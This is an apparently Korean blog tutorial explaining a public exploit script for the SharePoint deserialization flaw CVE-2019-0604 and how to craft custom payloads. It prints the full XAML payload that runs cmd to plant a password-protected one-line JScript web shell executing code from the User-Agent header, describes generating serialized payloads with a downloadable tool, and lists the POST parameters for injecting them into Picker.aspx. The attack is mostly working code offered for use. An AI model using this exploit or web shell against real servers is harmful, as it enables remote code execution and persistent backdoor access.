
k8gege의 SharePoint RCE 익스플로잇 cve-2019-0604-exp.py 코드를 상세히 설명하고, 자신만의 페이로드를 직접 제작하세요.

k8gege의 스크립트 https://github.com/k8gege/CVE-2019-0604
솔직히 k8gege의 py 스크립트는 약간 화려합니다. 수많은 16진수 문자열이 payload1, 2, 3으로 나뉘어져 있어서 좀 나쁘네요.
python 스크립트가 원격으로 post하는 payload는 역직렬화 후 xml 데이터 본체입니다.
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

즉, 원격으로 echo 명령을 실행하여 서버 Sharepoint의 템플릿 layouts 디렉토리에 up.aspx 파일을 작성합니다.
cmd /c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx"
K8 비도 전용 UA 한 줄 웹쉘 .asxp가 생성되었습니다. OK, 쉘 획득
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd)
{
var code=uastr.Replace(pwd+"===","");
eval(code,"unsafe");
};
%>
자신만의 payload를 만들어 원격으로 명령을 실행하고 싶다면 다음 단계를 따르십시오.
https://github.com/boxhg/CVE-2019-0604/releases 에서 컴파일된 프로그램을 다운로드하고 압축을 풀어 CVE20190604Forms.exe를 실행합니다.
Cmd 텍스트 상자에 명령을 입력하고 "Update XML" 버튼을 클릭하면 명령이 xml로 병합됩니다.
"EncodeEntity"를 클릭하면 프로그램이 xml 문자열을 객체로 직렬화하고 payload를 실행합니다. 직렬화된 문자열은 "payload" 텍스트 상자에 표시됩니다.
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
"__cp...." 이 문자열이 바로 payload입니다. 이를 cve-2019-0604-exp.py에 복사하여 기존 k8의 payload를 수정/교체합니다.
Picker.aspx에 payload를 제출할 때 함께 전송해야 하는 다른 매개변수는 Burp 프록시 도구를 통해 관련 매개변수를 얻은 다음 payload 값을 ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData에 전달합니다.
...
values = {
'__REQUESTDIGEST':YOUR_REQUESTDIGEST,
'__EVENTTARGET':'',
'__EVENTARGUMENT':'',
'__spPickerHasReturnValue':'',
'__spPickerReturnValueHolder':'',
'__VIEWSTATE':YOUR_VIEWSTATE,
'__VIEWSTATEGENERATOR':'',
'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':' ',
'__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
'__CALLBACKPARAM':';#;#11;#;#;#',
'__EVENTVALIDATION':YOUR_EVENTVALIDATION
}
data = urllib.urlencode(values)
...